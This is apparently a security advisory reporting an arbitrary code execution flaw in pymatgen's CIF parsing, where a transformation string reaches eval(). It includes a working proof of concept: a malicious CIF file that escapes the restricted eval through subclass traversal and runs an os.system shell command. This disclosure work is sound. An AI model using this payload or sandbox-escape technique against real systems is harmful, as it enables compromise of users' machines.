Summary

A critical security vulnerability exists in the JonesFaithfulTransformation.from_transformation_str() method within the pymatgen library. This method insecurely utilizes eval() for processing input, enabling execution of arbitrary code when parsing untrusted input. This can be exploited when parsing a maliciously-created CIF file.

Details

The cause of the vulnerability is in pymatgen/symmetry/settings.py#L97C1-L111C108. The flawed code segment involves a regular expression operation followed by the use of eval().

Vulnerable code

basis_change = [
    re.sub(r"(?<=\w|\))(?=\() | (?<=\))(?=\w) | (?<=(\d|a|b|c))(?=([abc]))", r"*", string, flags=re.X)
    for string in basis_change
]
"""snip"""
([eval(x, {"__builtins__": None}, {"a": a, "b": b, "c": c}) for x in basis_change])

The use of eval, even with __builtins__ set to None, is still a security risk. The BuiltinImporter class can be recovered with subclass traversal.

PoC

The vulnerability can be exploited as follows:

Create a file vuln.cif with the following contents:

data_5yOhtAoR
_audit_creation_date            2018-06-08
_audit_creation_method          "Pymatgen CIF Parser Arbitrary Code Execution Exploit"

loop_
_parent_propagation_vector.id
_parent_propagation_vector.kxkykz
k1 [0 0 0]

_space_group_magn.transform_BNS_Pp_abc  'a,b,[d for d in ().__class__.__mro__[1].__getattribute__ ( *[().__class__.__mro__[1]]+["__sub" + "classes__"]) () if d.__name__ == "BuiltinImporter"][0].load_module ("os").system ("touch pwned");0,0,0'


_space_group_magn.number_BNS  62.448
_space_group_magn.name_BNS  "P  n'  m  a'  "

Then, parse the cif file with the following code:

from pymatgen.io.cif import CifParser
parser = CifParser("vuln.cif")
structure = parser.parse_structures()

Credits

This vulnerability was found and disclosed by William Khem-Marquez.